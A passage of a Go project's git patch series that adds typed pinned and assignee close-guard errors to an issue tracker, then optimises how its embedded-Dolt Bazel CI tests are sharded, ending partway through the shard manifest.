context.Context, query string, filter types.IssueFilter) ([]*types.Issue, error) @@ -647,7 +657,7 @@ type Storage interface { type CloseIssueOptions struct { Reason string Session string - Force bool // bypass the is_blocked guard (mirrors `bd close --force`) + Force bool // bypass close policy and the pin and assignee guards, never the template (mirrors `bd close --force`) // ExpectedVersion, when non-nil, gates the close on an optimistic-concurrency // check: the close proceeds only if the issue's current RowVersion (the // row_lock token) equals *ExpectedVersion, otherwise it refuses with diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 9bb82d3e9..2d8b4673d 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -163,6 +163,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) }) + t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/batch_closer_contract_test.go b/internal/storage/uow/batch_closer_contract_test.go index 43640e738..4ca8d2b4e 100644 --- a/internal/storage/uow/batch_closer_contract_test.go +++ b/internal/storage/uow/batch_closer_contract_test.go @@ -47,6 +47,7 @@ func TestBatchCloserContract(t *testing.T) { {name: "AllRefusedBatchRecordsNoHistory", prefix: "bc-nohistory", run: conformance.RunBatchCloserAllRefusedBatchRecordsNoHistory}, {name: "DoesNotMutateTheCallerRequest", prefix: "bc-snapshot", run: conformance.RunBatchCloserDoesNotMutateTheCallerRequest}, {name: "SettlesTheDependersOfWhatItClosed", prefix: "bc-blocked", run: conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed}, + {name: "ItemsAnswerToTheCloseGuards", prefix: "bc-guard", run: conformance.RunBatchCloserItemsAnswerToTheCloseGuards}, } { t.Run(test.name, func(t *testing.T) { test.run(t, ctx, newUOWBatchCloserFixture(t, provider, test.prefix)) diff --git a/internal/storage/uow/lifecycle_close_reopen_contract_test.go b/internal/storage/uow/lifecycle_close_reopen_contract_test.go index c495de06a..9a77a7f95 100644 --- a/internal/storage/uow/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/uow/lifecycle_close_reopen_contract_test.go @@ -81,6 +81,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ReopenReblocksItsDependers", func(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, ctx, fixture) }) + t.Run("CloseEnforcesTheCloseGuards", func(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, ctx, fixture) + }) } func newUOWLifecycleCloseReopenFixture(t *testing.T, ctx context.Context, prefix string) conformance.LifecycleCloseReopenFixture { diff --git a/internal/validation/issue.go b/internal/validation/issue.go index bde847ec3..bad1fc61a 100644 --- a/internal/validation/issue.go +++ b/internal/validation/issue.go @@ -66,7 +66,7 @@ func NotPinned(force bool) IssueValidator { return nil // Let Exists() handle nil check if needed } if !force && (issue.Pinned || issue.Status == types.StatusPinned) { - return fmt.Errorf("cannot modify pinned issue %s (use --force to override)", id) + return &issueops.PinnedError{IssueID: id} } return nil } @@ -171,7 +171,7 @@ func AssigneeMatches(actor string, force bool) IssueValidator { if issue.Assignee == "" || ActorMatches(issue.Assignee, actor) { return nil } - return fmt.Errorf("cannot close %s: assignee is %q, actor is %q; reclaim or use --force to override", id, issue.Assignee, actor) + return &issueops.CloseNotAssigneeError{IssueID: id, Assignee: issue.Assignee, Actor: actor} } } diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 76d301234..7b3634a08 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -167,7 +167,8 @@ type CloseItem struct { // Reason and Session are CloseRequest's, under its first-close-wins rule. Reason string Session string - // Force bypasses blocker and open-child close policy, and nothing else. + // Force is CloseRequest.Force: it bypasses blocker and open-child close + // policy, the pin and the assignee fence, and never the template guard. // // CLOSE POLICY EVALUATES AT THIS ITEM, against the row as this request has // already changed it — the same as-modified rule the update guards take. A diff --git a/issueops/batchcloser.go b/issueops/batchcloser.go index f557a791b..bd2861bb1 100644 --- a/issueops/batchcloser.go +++ b/issueops/batchcloser.go @@ -40,10 +40,11 @@ type CloseBatchRequest struct { Items []BatchCloseItem // Session records the closing session against every item. Session string - // Force bypasses only blocker and open-child close policy, for every item. - // It never bypasses validation, and it never bypasses existence: an id that - // names nothing refuses whether or not force is set. It is request-wide - // because the flag that spells it is. + // Force bypasses blocker and open-child close policy, the pin and the + // assignee fence, for every item — exactly CloseRequest.Force. It never + // bypasses the template guard or validation, and it never bypasses + // existence: an id that names nothing refuses whether or not force is set. + // It is request-wide because the flag that spells it is. // // It would not bypass a per-item LIFECYCLE PRECONDITION either, but no // batch item carries one: there is no counterpart here to the @@ -86,7 +87,8 @@ type CloseOutcome struct { OpenChildren int // Err is this item's refusal, and NEVER aborts the rest of the batch. It // carries the same typed close vocabulary Lifecycle.Close returns — - // ErrNotFound, ErrCloseBlocked, *CloseOpenChildrenError — so a caller + // ErrNotFound, ErrCloseBlocked, *CloseOpenChildrenError, + // *TemplateReadOnlyError, *PinnedError, *CloseNotAssigneeError — so a caller // classifies it with errors.Is and errors.As rather than by reading prose. Err error } diff --git a/issueops/errors.go b/issueops/errors.go index 7db6159ed..6a1dfe921 100644 --- a/issueops/errors.go +++ b/issueops/errors.go @@ -242,6 +242,51 @@ func (e *CloseOpenChildrenError) Unwrap() error { return ErrCloseOpenChildren } +// ErrPinned is returned when an unforced close names a pinned issue — pinned by +// either of the two spellings bd uses, the Pinned column or the pinned status. +// Force (CloseRequest.Force, CloseBatchRequest.Force, CloseItem.Force) bypasses +// it. +var ErrPinned = errors.New("issue is pinned") + +// PinnedError reports the pinned issue an unforced close was refused for. Its +// message is the sentence `bd close` has always printed for the refusal. +type PinnedError struct { + // IssueID names the pinned issue. + IssueID string +} + +func (e *PinnedError) Error() string { + return fmt.Sprintf("cannot modify pinned issue %s (use --force to override)", e.IssueID) +} + +// Unwrap makes PinnedError match ErrPinned. +func (e *PinnedError) Unwrap() error { return ErrPinned } + +// CloseNotAssigneeError reports an unforced close refused because the issue is +// assigned to someone other than the closing actor (be-035): storage would +// accept the id-only close, so without the guard actor A silently closes the +// bead actor B holds. Authority is identity-by-string under the same +// separator-insensitive comparison every assignee guard uses; an unassigned +// issue is closable by anyone. Force bypasses it. +// +// It matches ErrNotOwner — the ownership refusal a release earns for the same +// situation — and its message is the sentence `bd close` has always printed. +type CloseNotAssigneeError struct { + // IssueID names the issue that refused the close. + IssueID string + // Assignee is the holder observed inside the refusing transaction. + Assignee string + // Actor is the closing actor the request named. + Actor string +} + +func (e *CloseNotAssigneeError) Error() string { + return fmt.Sprintf("cannot close %s: assignee is %q, actor is %q; reclaim or use --force to override", e.IssueID, e.Assignee, e.Actor) +} + +// Unwrap makes CloseNotAssigneeError match ErrNotOwner. +func (e *CloseNotAssigneeError) Unwrap() error { return ErrNotOwner } + // ErrAlreadyExists is returned when a create operation is given an ID that is // already occupied. The issue and wisp tables share one ID space. var ErrAlreadyExists = errors.New("issue already exists") diff --git a/issueops/issueops.go b/issueops/issueops.go index 69c8a20a1..3d5588e2b 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -362,8 +362,10 @@ type CloseRequest struct { // and read back on CloseResult.Issue.ClosedBySession, under the same // first-close-wins rule as Reason. Session string - // Force bypasses only blocker and open-child close policy. It never bypasses - // validation, ExpectedVersion, or lifecycle rules. + // Force bypasses blocker and open-child close policy and the two close + // guards a force has always waived in bd: the pin, and the assignee + // authority fence. It never bypasses the template guard, validation, + // ExpectedVersion, or lifecycle rules. Force bool // ExpectedVersion requires the current row version to match, and is checked // BEFORE the idempotent close — so a re-close of an already-closed issue @@ -496,10 +498,16 @@ type Lifecycle interface { // Close validates guards and commits the complete request as one atomic // mutation. It moves the issue to literal StatusClosed, including from a // configured done status. ExpectedVersion is checked first, including for an - // idempotent close. An unforced close with open children returns - // CloseOpenChildrenError without mutation. Force bypasses blocker and - // open-child policy and reports OpenChildren, including for an idempotent - // re-close. A refusal or validation error leaves persistent state unchanged. + // idempotent close. A close of an issue that is not already closed answers + // to the close guards before close policy: a template returns + // *TemplateReadOnlyError, forced or not; unforced, a pinned issue returns + // *PinnedError and one assigned to someone other than Actor (compared + // separator-insensitively) returns *CloseNotAssigneeError, matching + // ErrNotOwner. An unforced close with open children returns + // CloseOpenChildrenError without mutation. Force bypasses the pin, the + // assignee fence, and blocker and open-child policy, and reports + // OpenChildren, including for an idempotent re-close. A refusal or + // validation error leaves persistent state unchanged. Close(context.Context, CloseRequest) (CloseResult, error) // Reopen validates guards and commits the complete request as one atomic // mutation. It moves literal StatusClosed and configured done statuses to diff --git a/issueops/template_errors.go b/issueops/template_errors.go index 8997324c3..73dc50501 100644 --- a/issueops/template_errors.go +++ b/issueops/template_errors.go @@ -6,8 +6,9 @@ import ( ) // ErrTemplateReadOnly is returned when a mutation that guards templates names -// one. Every update does (Lifecycle.Update, a BatchApplier update item); not -// every verb does yet (bd-jkp9v3). Templates are read-only: the way to get +// one. Every update does (Lifecycle.Update, a BatchApplier update item), and so +// does every close (Lifecycle.Close, BatchCloser, a BatchApplier close item); +// not every verb does yet (bd-jkp9v3). Templates are read-only: the way to get // work out of one is to pour it (`bd mol pour`), which creates new issues and // leaves the template untouched. There is no force bypass — no Force flag // waives it; only an update that sets UpdateRequest.AllowTemplate (bd label, diff --git a/tests/oracle-a/harness/scenarios/enumerated.json b/tests/oracle-a/harness/scenarios/enumerated.json index 242e11e03..3135e819e 100644 --- a/tests/oracle-a/harness/scenarios/enumerated.json +++ b/tests/oracle-a/harness/scenarios/enumerated.json @@ -67,7 +67,7 @@ "--json" ] ], - "pins": "close.go has no already-closed guard in validateIssueClosable (only NotTemplate+NotPinned); second close re-runs CloseIssue; pins idempotency/event behavior of the storage layer.", + "pins": "the close guards (storeissueops.CheckClosable: template, pin, assignee) skip a row already at literal closed (ga-ktn9pe.4.8), so the second close reaches the role as its idempotent re-close (Changed=false, exit 0); pins idempotency/event behavior of the storage layer.", "deterministic": true }, { @@ -598,7 +598,7 @@ "--json" ] ], - "pins": "validateIssueClosable NotPinned(force): without force stderr 'cannot modify pinned issue clp-1 (use --force to override)' + SilentExit; with --force closes.", + "pins": "the pin close guard (storeissueops.CheckClosable, waived by force; the role applies it again inside the close transaction): without force stderr 'cannot modify pinned issue clp-1 (use --force to override)' + SilentExit; with --force closes.", "deterministic": true }, { From 1531a31760c44fc4b3a264d6b263e608247f9b79 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 19:20:33 +0000 Subject: [PATCH 082/213] ci(bazel): halve the embedded cmd tier's cost (seeded bd init schema, no race exit sleep, concurrency-aware packing) (#7437) //cmd/bd:bd_embedded_test sits at Bazel's 50-shard cap and was the embedded lane's floor (shards 62-250s). Measured on rbe-west, every shard's wall time was its single slowest top-level test, and most of a test's time was `bd init` (~20s under -race: one Dolt commit per schema migration) plus a fixed 1s per bd subprocess exit (the race runtime's atexit_sleep_ms). - bdInit seeds .beads/embeddeddolt/ from a per-process schema template (an empty database with every migration applied, made once per shard by a non-race build of internal/storage/embeddeddolt/cmd) before running the real `bd init`, which then skips the migration chain and does everything else itself (identity, prefix, config, hooks, agent files, git commit). Only for argument lists it understands (--prefix/--database plus --quiet/--skip-hooks/--skip-agents/--non-interactive), and it checks the result is the seeded embedded database. BEADS_TEST_FRESH_INIT=1 turns it off. The TestEmbeddedInit* tests run their own init and are unaffected. - GORACE=atexit_sleep_ms=0 on the target: the bd subprocesses no longer sleep 1s before exiting. A race they hit while running still fails the command as before. - TestEmbeddedInitSelectedExcludeRouting (serial, t.Setenv, 7 full inits, ~113s) is split into ...Stealth and ...Fork top-level functions; same cases, same assertions. - The generator packs with a model of the shard process (pack_concurrent): tests without a top-level t.Parallel run one after another, the rest share -test.parallel=4. The durations are re-measured on rbe-west. rbe-west, `bazel test //cmd/bd:bd_embedded_test --config=embedded --nocache_test_results`: test-seconds 20.2k -> ~10.3k, shard-seconds 8.0k -> ~4.2k, slowest shard 243s -> 138s / 163s (two runs, before the repack). Bead: ga-vnycm2.17 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/embedded-cmd-test-shards.txt | 499 +++++++-------- .github/workflows/bazel.yml | 16 +- cmd/bd/BUILD.bazel | 11 + cmd/bd/embedded_init_template_test.go | 239 ++++++++ cmd/bd/init_embedded_test.go | 26 +- internal/storage/embeddeddolt/cmd/BUILD.bazel | 18 + scripts/ci/_embedded_shard_manifest_lib.py | 33 +- scripts/ci/embedded_cmd_test_durations.json | 579 +++++++++--------- scripts/ci/gen_embedded_cmd_shard_manifest.py | 38 +- scripts/pr_risk_bazel_coverage_test.go | 7 +- scripts/shard_manifest_test.go | 29 + 11 files changed, 929 insertions(+), 566 deletions(-) create mode 100644 cmd/bd/embedded_init_template_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index a0ef80ddb..486e904fe 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -188,9 +188,11 @@ # # 50-shard split for the Bazel-only embedded-Dolt cmd tier # (bazel-embedded in .github/workflows/bazel.yml), bin-packed -# longest-processing-time-first by measured wall-time from +# longest-first by measured wall-time from # scripts/ci/embedded_cmd_test_durations.json (see that file for provenance -# and its "relative weight, not absolute SLA" caveat). +# and its "relative weight, not absolute SLA" caveat) onto the shard +# whose estimated wall time grows least: serial tests (no top-level +# t.Parallel) add up, parallel ones share -test.parallel=4. # Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py 50 # --weights=duration --write after adding, splitting or removing # TestEmbedded* functions in cmd/bd/*_embedded_test.go. --write is @@ -206,301 +208,302 @@ # This file is generated: notes added here are erased by the next # regeneration. Add them to the generator or the durations file instead. -50 1 TestEmbeddedCommentsCLI -50 1 TestEmbeddedDepAddWispSource -50 1 TestEmbeddedListFiltering -50 1 TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget +50 1 TestEmbeddedInitA -50 2 TestEmbeddedCreateRepoFromNonBeadsCwd -50 2 TestEmbeddedDeleteJSONDependencyErrorContract -50 2 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate -50 2 TestEmbeddedHistoryConcurrent -50 2 TestEmbeddedInitA +50 2 TestEmbeddedGateCreate -50 3 TestEmbeddedAdminCompactTier2Honesty -50 3 TestEmbeddedMaxRowsListLimitInteraction -50 3 TestEmbeddedOrphans -50 3 TestEmbeddedShowUnresolvableDeps -50 3 TestEmbeddedStale +50 3 TestEmbeddedRoutedMutatingSiblingAssignTagDep -50 4 TestEmbeddedBootstrapConcurrent -50 4 TestEmbeddedDuplicatesConcurrent -50 4 TestEmbeddedInfo -50 4 TestEmbeddedMaxRowsDoctorAndConfig -50 4 TestEmbeddedRoutedSiblingWritesCommitTargetHead +50 4 TestEmbeddedUpdateConcurrent -50 5 TestEmbeddedCreateScalarAndRelationships -50 5 TestEmbeddedDefer -50 5 TestEmbeddedDoltBlockedAndCommit -50 5 TestEmbeddedGCConcurrent -50 5 TestEmbeddedPromote +50 5 TestEmbeddedMaxRowsListLimitInteraction -50 6 TestEmbeddedCreateStorageClassConflicts -50 6 TestEmbeddedGC -50 6 TestEmbeddedGetDependencies -50 6 TestEmbeddedQuickConcurrent +50 6 TestEmbeddedSwarm -50 7 TestEmbeddedCreateCrossRepoDryRunWithParent -50 7 TestEmbeddedEpicStatus -50 7 TestEmbeddedGate -50 7 TestEmbeddedWhere +50 7 TestEmbeddedDepA -50 8 TestEmbeddedChangeDirOverridesInheritedBeadsDir -50 8 TestEmbeddedMemoryConcurrent -50 8 TestEmbeddedUpdateConcurrent -50 8 TestEmbeddedVCConcurrent +50 8 TestEmbeddedDepB -50 9 TestEmbeddedCloseAlreadyClosed -50 9 TestEmbeddedConfigConcurrent -50 9 TestEmbeddedExternalCapabilityReadyAfterShip -50 9 TestEmbeddedPrimeConcurrent +50 9 TestEmbeddedKVConcurrent -50 10 TestEmbeddedDepB -50 10 TestEmbeddedHuman -50 10 TestEmbeddedInitExplicitBeadsDirIsAuthoritative -50 10 TestEmbeddedPromoteCLI +50 10 TestEmbeddedListFiltering -50 11 TestEmbeddedBlockedConcurrent -50 11 TestEmbeddedDepA -50 11 TestEmbeddedMaxRowsDepTreeAndDuplicates -50 11 TestEmbeddedState +50 11 TestEmbeddedInitRoleRouting -50 12 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead -50 12 TestEmbeddedPrimeChangeDirPrimesTarget -50 12 TestEmbeddedPromoteCLIConcurrent -50 12 TestEmbeddedSearchConcurrent -50 12 TestEmbeddedTypes +50 12 TestEmbeddedContributorCreate -50 13 TestEmbeddedAutoImportJSONLNoExplicitCommit -50 13 TestEmbeddedDiff -50 13 TestEmbeddedDuplicates -50 13 TestEmbeddedShipConcurrent +50 13 TestEmbeddedInitGitBootstrapRouting -50 14 TestEmbeddedInitConcurrent -50 14 TestEmbeddedOrphansConcurrent -50 14 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget -50 14 TestEmbeddedRoutedMutatingSiblingDeleteClose -50 14 TestEmbeddedSwarm +50 14 TestEmbeddedCloseConcurrent -50 15 TestEmbeddedChildrenConcurrent -50 15 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout -50 15 TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget -50 15 TestEmbeddedEpicCloseEligibleReasonFlag -50 15 TestEmbeddedExplicitHierarchicalParentEdges -50 15 TestEmbeddedIfRevisionReopenGuardDirect -50 15 TestEmbeddedVersionConcurrent +50 15 TestEmbeddedCloseAlreadyClosed -50 16 TestEmbeddedBlockedLabelFilters -50 16 TestEmbeddedGCConditionalMatcherDecode -50 16 TestEmbeddedGateInheritsDownParentChain -50 16 TestEmbeddedGatedRendering -50 16 TestEmbeddedKV -50 16 TestEmbeddedMaxRowsReady -50 16 TestEmbeddedMemoryCorpusBudget -50 16 TestEmbeddedOpen_EmptyDatabaseRejected -50 16 TestEmbeddedRestoreConcurrent -50 16 TestEmbeddedVCCommitVariantsAndMerge -50 16 TestEmbeddedVersion +50 16 TestEmbeddedRoutedSiblingWritesCommitTargetHead -50 17 TestEmbeddedCloseGuardsAndEpics -50 17 TestEmbeddedCompact -50 17 TestEmbeddedGateConcurrent -50 17 TestEmbeddedListComments -50 17 TestEmbeddedReadOnlyCommandsSpawnNoGit +50 17 TestEmbeddedConfigConcurrent -50 18 TestEmbeddedContext -50 18 TestEmbeddedContributorCreate -50 18 TestEmbeddedImportClosedChildWhoseParentWasDeleted -50 18 TestEmbeddedReopen -50 18 TestEmbeddedStateConcurrent +50 18 TestEmbeddedGate -50 19 TestEmbeddedAdminBlocked -50 19 TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected -50 19 TestEmbeddedDoltConcurrent -50 19 TestEmbeddedMaxRowsListBasic -50 19 TestEmbeddedPruneSafetyAndScope +50 19 TestEmbeddedShowDetailAndCurrent -50 20 TestEmbeddedCreateStorageClassBatchAndMisc -50 20 TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge -50 20 TestEmbeddedKVConcurrent -50 20 TestEmbeddedSetup +50 20 TestEmbeddedDelete -50 21 TestEmbeddedBackup -50 21 TestEmbeddedCreateCrossRepoUninit -50 21 TestEmbeddedDiffConcurrent -50 21 TestEmbeddedQuick -50 21 TestEmbeddedQuickstart +50 21 TestEmbeddedBootstrap -50 22 TestEmbeddedAdminCompactReadOnlyAllowed -50 22 TestEmbeddedCreateRepoProxiedTargetError -50 22 TestEmbeddedDuplicateConcurrent -50 22 TestEmbeddedFlatten -50 22 TestEmbeddedTypesAgreeWithCreate +50 22 TestEmbeddedUnclaim -50 23 TestEmbeddedExportConcurrent -50 23 TestEmbeddedHistory -50 23 TestEmbeddedMaxRowsGraph -50 23 TestEmbeddedSetupConcurrent -50 23 TestEmbeddedShip +50 23 TestEmbeddedBootstrapConcurrent +50 23 TestEmbeddedHooksConcurrent +50 23 TestEmbeddedShowConcurrent -50 24 TestEmbeddedCloseBasic -50 24 TestEmbeddedImportUpsertAndPrefixSync -50 24 TestEmbeddedQuery -50 24 TestEmbeddedReclaimRunsTheLeaseReclaimerRole -50 24 TestEmbeddedUpdateRoutedStoreCommitsTargetHead +50 24 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll +50 24 TestEmbeddedBackupConcurrent +50 24 TestEmbeddedBlocked +50 24 TestEmbeddedComments +50 24 TestEmbeddedCompactMisdatedChild +50 24 TestEmbeddedContextConcurrent +50 24 TestEmbeddedCreateCommitPending +50 24 TestEmbeddedCreateRepoFromNonBeadsCwd +50 24 TestEmbeddedCreateStorageClassBasic +50 24 TestEmbeddedCreateWithGitRemote +50 24 TestEmbeddedFindDuplicatesConcurrent +50 24 TestEmbeddedHistoryConcurrent +50 24 TestEmbeddedHooks +50 24 TestEmbeddedHumanConcurrent +50 24 TestEmbeddedInfoSuppressGitHooks +50 24 TestEmbeddedMigrateConcurrent +50 24 TestEmbeddedOnboard +50 24 TestEmbeddedPromote +50 24 TestEmbeddedQuickstart +50 24 TestEmbeddedWhere -50 25 TestEmbeddedBackupConcurrent -50 25 TestEmbeddedCreateStorageClassBasic -50 25 TestEmbeddedFindDuplicatesConcurrent -50 25 TestEmbeddedInitGitBootstrapRouting -50 25 TestEmbeddedInitHooksRouting +50 25 TestEmbeddedAdminCompactReadOnlyAllowed +50 25 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber +50 25 TestEmbeddedConfigNoWorkspaceStoreFreeCommands +50 25 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout +50 25 TestEmbeddedCreateGraphAndBulk +50 25 TestEmbeddedDoltRemoteAndPush +50 25 TestEmbeddedGateInheritsDownParentChain +50 25 TestEmbeddedListConcurrent +50 25 TestEmbeddedOnboardConcurrent +50 25 TestEmbeddedPrime +50 25 TestEmbeddedQuickstartConcurrent +50 25 TestEmbeddedRenamePrefixConcurrent +50 25 TestEmbeddedSetup +50 25 TestEmbeddedSetupConcurrent +50 25 TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead +50 25 TestEmbeddedUpdateFields +50 25 TestEmbeddedVCCommitVariantsAndMerge +50 25 TestEmbeddedVersion +50 25 TestEmbeddedVersionConcurrent -50 26 TestEmbeddedCreateCommitPending -50 26 TestEmbeddedInitC -50 26 TestEmbeddedRenamePrefixBasic -50 26 TestEmbeddedRoutedMutatingSiblingAssignTagDep -50 26 TestEmbeddedSupersedeConcurrent +50 26 TestEmbeddedAdminBlocked +50 26 TestEmbeddedBlockedLabelFilters +50 26 TestEmbeddedClaimPools +50 26 TestEmbeddedCompactConcurrent +50 26 TestEmbeddedExportConcurrent +50 26 TestEmbeddedGCConcurrent +50 26 TestEmbeddedGraphConcurrent +50 26 TestEmbeddedPrimeChangeDirPrimesTarget +50 26 TestEmbeddedPrimeConcurrent +50 26 TestEmbeddedReopenConcurrent +50 26 TestEmbeddedTodoConcurrent +50 26 TestEmbeddedTypes +50 26 TestEmbeddedTypesConcurrent -50 27 TestEmbeddedComments -50 27 TestEmbeddedMaxRowsReadyMerge -50 27 TestEmbeddedPrime -50 27 TestEmbeddedPruneDryRunAndFilters -50 27 TestEmbeddedReopenConcurrent +50 27 TestEmbeddedBranch +50 27 TestEmbeddedContext +50 27 TestEmbeddedCountIncludeEphemeral +50 27 TestEmbeddedCreateFormCommitsLabelOnlyCreate +50 27 TestEmbeddedFederationConcurrent +50 27 TestEmbeddedGateListScoped +50 27 TestEmbeddedIfRevisionReopenGuardDirect +50 27 TestEmbeddedOrphans +50 27 TestEmbeddedPurgeWispsPlaneRetention +50 27 TestEmbeddedReclaimRunsTheLeaseReclaimerRole +50 27 TestEmbeddedStaleLabelFilters -50 28 TestEmbeddedConfigNoWorkspaceStoreFreeCommands -50 28 TestEmbeddedEpicCloseEligibleReasonOutput -50 28 TestEmbeddedMigrate +50 28 TestEmbeddedAutoImportJSONLConcurrentWriter +50 28 TestEmbeddedAutoImportJSONLSkipsNonEmpty +50 28 TestEmbeddedBranchConcurrent +50 28 TestEmbeddedCreateConcurrent +50 28 TestEmbeddedEpicCloseEligibleReasonFlag +50 28 TestEmbeddedFederationStatus +50 28 TestEmbeddedLabelAddRemove +50 28 TestEmbeddedPurgeConcurrent +50 28 TestEmbeddedReadyClaimConcurrent 50 28 TestEmbeddedStatus -50 28 TestEmbeddedSwarmConcurrent -50 29 TestEmbeddedClaimPools -50 29 TestEmbeddedCreateGraphAndBulk -50 29 TestEmbeddedCreateJSONEchoesSubSecondTimestamps -50 29 TestEmbeddedHumanConcurrent -50 29 TestEmbeddedInitSelectedExcludeRouting +50 29 TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate +50 29 TestEmbeddedDepConcurrent +50 29 TestEmbeddedFlatten +50 29 TestEmbeddedGetDependencies +50 29 TestEmbeddedImportUpsertAndPrefixSync +50 29 TestEmbeddedInfo +50 29 TestEmbeddedMaxRowsDoctorAndConfig +50 29 TestEmbeddedOrphansConcurrent +50 29 TestEmbeddedRenamePrefixEdgeCases -50 30 TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll -50 30 TestEmbeddedDepConcurrent -50 30 TestEmbeddedExportFormats -50 30 TestEmbeddedReadyClaimConcurrent -50 30 TestEmbeddedStaleConcurrent +50 30 TestEmbeddedAutoImportJSONLNoExplicitCommit +50 30 TestEmbeddedCreateJSONEchoesSubSecondTimestamps +50 30 TestEmbeddedDepAddWispSource +50 30 TestEmbeddedExportFlags +50 30 TestEmbeddedListComments +50 30 TestEmbeddedPurgeBasics +50 30 TestEmbeddedReadOnlyCommandsSpawnNoGit +50 30 TestEmbeddedReadyConcurrent +50 30 TestEmbeddedRoutedMutatingSiblingDeleteClose -50 31 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber -50 31 TestEmbeddedAutoImportJSONLConcurrentWriter -50 31 TestEmbeddedDeferAutoWake -50 31 TestEmbeddedExternalMutationPolicy -50 31 TestEmbeddedShowConcurrent +50 31 TestEmbeddedCreateCrossRepoUninit +50 31 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget +50 31 TestEmbeddedDoltBlockedAndCommit +50 31 TestEmbeddedDoltConcurrent +50 31 TestEmbeddedGatedRendering +50 31 TestEmbeddedImportFromSources +50 31 TestEmbeddedInfoConcurrent +50 31 TestEmbeddedInitB +50 31 TestEmbeddedMigrate -50 32 TestEmbeddedCreateCrossRepo -50 32 TestEmbeddedDuplicate -50 32 TestEmbeddedInitArtifactRouting -50 32 TestEmbeddedShowBasicsAndJSON -50 32 TestEmbeddedUpdateLifecycle +50 32 TestEmbeddedBackup +50 32 TestEmbeddedExternalCapabilityReadyAfterShip +50 32 TestEmbeddedFederationPeers +50 32 TestEmbeddedLabelConcurrent +50 32 TestEmbeddedMaxRowsReadyMerge +50 32 TestEmbeddedPreviewDoesNotConsumeVersionMarker +50 32 TestEmbeddedRestore +50 32 TestEmbeddedTypesAgreeWithCreate -50 33 TestEmbeddedCreateConcurrent -50 33 TestEmbeddedCreateRepoRelativeUninitRefused -50 33 TestEmbeddedEpicCloseEligible -50 33 TestEmbeddedSearch -50 33 TestEmbeddedTodo +50 33 TestEmbeddedBlockedConcurrent +50 33 TestEmbeddedDefer +50 33 TestEmbeddedGC +50 33 TestEmbeddedPruneDryRunAndFilters +50 33 TestEmbeddedPurgeFiltered +50 33 TestEmbeddedQuery +50 33 TestEmbeddedVCConcurrent +50 33 TestEmbeddedWhereConcurrent -50 34 TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget -50 34 TestEmbeddedGateListScoped -50 34 TestEmbeddedLintConcurrent -50 34 TestEmbeddedPurgeWispsPlaneRetention -50 34 TestEmbeddedReady +50 34 TestEmbeddedCompact +50 34 TestEmbeddedCreateCrossRepoWithParent +50 34 TestEmbeddedCreateRepoRelativeUninitRefused +50 34 TestEmbeddedCreateStorageClassConflicts +50 34 TestEmbeddedDuplicatesConcurrent +50 34 TestEmbeddedEpicCloseEligibleReasonOutput +50 34 TestEmbeddedFlattenConcurrent +50 34 TestEmbeddedOpen_EmptyDatabaseRejected +50 34 TestEmbeddedRestoreConcurrent +50 34 TestEmbeddedUpdateLifecycle -50 35 TestEmbeddedCommentsCLIConcurrent -50 35 TestEmbeddedHooksConcurrent -50 35 TestEmbeddedLabelPropagateRename -50 35 TestEmbeddedListSearchAndOutput -50 35 TestEmbeddedSupersede +50 35 TestEmbeddedCreateCrossRepo +50 35 TestEmbeddedDeleteJSONDependencyErrorContract +50 35 TestEmbeddedDuplicateConcurrent +50 35 TestEmbeddedInitArtifactRouting +50 35 TestEmbeddedMaxRowsListBasic +50 35 TestEmbeddedStateConcurrent +50 35 TestEmbeddedVCStatusAndCommit -50 36 TestEmbeddedDeferConcurrent -50 36 TestEmbeddedFederationPeers -50 36 TestEmbeddedFlattenConcurrent -50 36 TestEmbeddedStatusConcurrent -50 36 TestEmbeddedTodoConcurrent +50 36 TestEmbeddedAdminCompactTier2Honesty +50 36 TestEmbeddedCloseBasic +50 36 TestEmbeddedConfig +50 36 TestEmbeddedCountConcurrent +50 36 TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead +50 36 TestEmbeddedInitConcurrent +50 36 TestEmbeddedLintConcurrent +50 36 TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget -50 37 